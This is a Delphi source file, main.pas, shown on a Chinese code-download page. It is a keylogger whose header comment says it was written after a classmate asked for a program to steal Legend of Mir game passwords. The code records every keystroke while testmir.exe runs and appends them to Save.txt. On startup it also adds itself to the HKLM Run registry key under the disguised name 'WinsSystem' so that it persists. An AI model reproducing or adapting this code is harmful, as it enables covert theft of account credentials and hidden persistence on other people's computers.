⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.pas

📁 记录某一进程的按键情况,不要用来干坏事啊。
💻 PAS
字号:
unit main;
{受同学之邀,要我写个盗传奇密码的程序,以前从没有搞过,不知从何下手知道原理是键盘
记录这方面的,所以写了个很简单的键盘记录器罢了,并不是什么密码截取器.
(以TEST.EXE为例)本程序是通过几个时钟控件,一个用来监视TEST.EXE进程是否存在,如果
存在,就马上记录所有键盘操作,别外一个用来监视,TEST.EXE是否退出,如果退出了,就马上
停止监视.
有一部份代码是COPY他人的,在此多谢,本程序只是个人爱好写着玩玩儿已

本个是个菜菜,希望有机会与高手交流.........
QQ:3800151 MAIL:XXXFFF_CN@TOM.COM WEB:WWW.SZPROGRAM.COM}
interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, Registry;

type
  Tw_main = class(TForm)
    Timer_keyrec: TTimer;
    Timer_savetxt: TTimer;
    Memo_gettxt: TMemo;
    Timer_thread: TTimer;
    Label_thread: TLabel;
    procedure Timer_keyrecTimer(Sender: TObject);
    procedure Timer_savetxtTimer(Sender: TObject);
    procedure Timer_threadTimer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  w_main: Tw_main;

implementation
uses public_fun;
var
  F:Textfile;
{$R *.DFM}

//Detect Press Key From any window
procedure Tw_main.Timer_keyrecTimer(Sender: TObject);
var
  i : byte;
begin
  for i:=8 To 222 do
  begin
     if GetAsyncKeyState(i)=-32767 then
      begin
      case i of
      8  : Memo_gettxt.Lines[Memo_gettxt.Lines.count-1] := copy(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1],1,length(Memo_gettxt.Lines[Memo_gettxt.Lines.count-1])-1); //Backspace
      9  : Memo_gettxt.text:=Memo_gettxt.text+'[Tab]';
      13 : Memo_gettxt.text:=Memo_gettxt.text+#13#10; //Enter
      17 : Memo_gettxt.text:=Memo_gettxt.text+'[Ctrl]';
      27 : Memo_gettxt.text:=Memo_gettxt.text+'[Esc]';
      32 :Memo_gettxt.text:=Memo_gettxt.text+' '; //Space
      // Del,Ins,Home,PageUp,PageDown,End
      33 : Memo_gettxt.text := Memo_gettxt.text + '[Page Up]';
      34 : Memo_gettxt.text := Memo_gettxt.text + '[Page Down]';
      35 : Memo_gettxt.text := Memo_gettxt.text + '[End]';
      36 : Memo_gettxt.text := Memo_gettxt.text + '[Home]';
      //Arrow Up Down Left Right
      37 : Memo_gettxt.text := Memo_gettxt.text + '[Left]';
      38 : Memo_gettxt.text := Memo_gettxt.text + '[Up]';
      39 : Memo_gettxt.text := Memo_gettxt.text + '[Right]';
      40 : Memo_gettxt.text := Memo_gettxt.text + '[Down]';

      44 : Memo_gettxt.text := Memo_gettxt.text + '[Print Screen]';
      45 : Memo_gettxt.text := Memo_gettxt.text + '[Insert]';
      46 : Memo_gettxt.text := Memo_gettxt.text + '[Del]';
      145 : Memo_gettxt.text := Memo_gettxt.text + '[Scroll Lock]';

      //Number 1234567890 Symbol !@#$%^&*()
      48 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+')'
           else Memo_gettxt.text:=Memo_gettxt.text+'0';
      49 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'!'
           else Memo_gettxt.text:=Memo_gettxt.text+'1';
      50 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'@'
           else Memo_gettxt.text:=Memo_gettxt.text+'2';
      51 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'#'
           else Memo_gettxt.text:=Memo_gettxt.text+'3';
      52 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'$'
           else Memo_gettxt.text:=Memo_gettxt.text+'4';
      53 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'%'
           else Memo_gettxt.text:=Memo_gettxt.text+'5';
      54 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'^'
           else Memo_gettxt.text:=Memo_gettxt.text+'6';
      55 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'&'
           else Memo_gettxt.text:=Memo_gettxt.text+'7';
      56 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'*'
           else Memo_gettxt.text:=Memo_gettxt.text+'8';
      57 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'('
           else Memo_gettxt.text:=Memo_gettxt.text+'9';
      65..90 : // a..z , A..Z
          begin
          if ((GetKeyState(VK_CAPITAL))=1) then
              if GetKeyState(VK_SHIFT)<0 then
                 Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)) //a..z
              else
                 Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
          else
              if GetKeyState(VK_SHIFT)<0 then
                  Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z
              else
                  Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)); //a..z
          end;
      //Win
//      91 : Memo_gettxt.text:=Memo_gettxt.text+'[LWin]';
//      92 : Memo_gettxt.text:=Memo_gettxt.text+'[RWin]';
      //Numpad
      96..105 : Memo_gettxt.text:=Memo_gettxt.text + inttostr(i-96); //Numpad  0..9
      106:Memo_gettxt.text:=Memo_gettxt.text+'*';
      107:Memo_gettxt.text:=Memo_gettxt.text+'&';
      109:Memo_gettxt.text:=Memo_gettxt.text+'-';
      110:Memo_gettxt.text:=Memo_gettxt.text+'.';
      111:Memo_gettxt.text:=Memo_gettxt.text+'/';
      144 : Memo_gettxt.text:=Memo_gettxt.text+'[Num Lock]';

      112..123: //F1-F12
          Memo_gettxt.text:=Memo_gettxt.text+'[F'+IntToStr(i - 111)+']';

      186 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+':'
            else Memo_gettxt.text:=Memo_gettxt.text+';';
      187 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'+'
            else Memo_gettxt.text:=Memo_gettxt.text+'=';
      188 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'<'
            else Memo_gettxt.text:=Memo_gettxt.text+',';
      189 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'_'
            else Memo_gettxt.text:=Memo_gettxt.text+'-';
      190 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'>'
            else Memo_gettxt.text:=Memo_gettxt.text+'.';
      191 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'?'
            else Memo_gettxt.text:=Memo_gettxt.text+'/';
      192 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'~'
            else Memo_gettxt.text:=Memo_gettxt.text+'`';
      219 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'{'
            else Memo_gettxt.text:=Memo_gettxt.text+'[';
      220 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'|'
            else Memo_gettxt.text:=Memo_gettxt.text+'\';
      221 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'}'
            else Memo_gettxt.text:=Memo_gettxt.text+']';
      222 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'"'
            else Memo_gettxt.text:=Memo_gettxt.text+'''';
      end;
      end;
  end;
end;

procedure Tw_main.Timer_savetxtTimer(Sender: TObject);
begin
  Assignfile(F,'Save.txt');
  if not FileExists('Save.txt') Then
    begin
      Rewrite(F);
      Closefile(F);
    End
  Else
    Assignfile(F,'Save.txt');
    {$I-}
    Append(F);
    {$I+}
  If IOResult<> 0 Then
    Begin
      ShowMessage('Cannot Open File');
    End;

  Write(F,Memo_gettxt.Text);
  Memo_gettxt.Clear;
  Closefile(F);
end;

procedure Tw_main.Timer_threadTimer(Sender: TObject);
begin
  if detecthread('testmir.exe')='exist' then
    begin
      label_thread.Caption:='thread is Exist';
      timer_keyrec.Enabled:=true;
    end
  else
    begin
      label_thread.Caption:='thread is NOTexist';
      timer_keyrec.Enabled:=false;
    end;
end;

procedure Tw_main.FormCreate(Sender: TObject);
var
  regis_mymir:TRegistry;
begin
  regis_mymir:=TRegistry.Create();
  regis_mymir.RootKey:=HKEY_LOCAL_MACHINE;
  regis_mymir.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
  regis_mymir.WriteString('WinsSystem',ExtractFilename(Application.ExeName));
  regis_mymir.Free;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -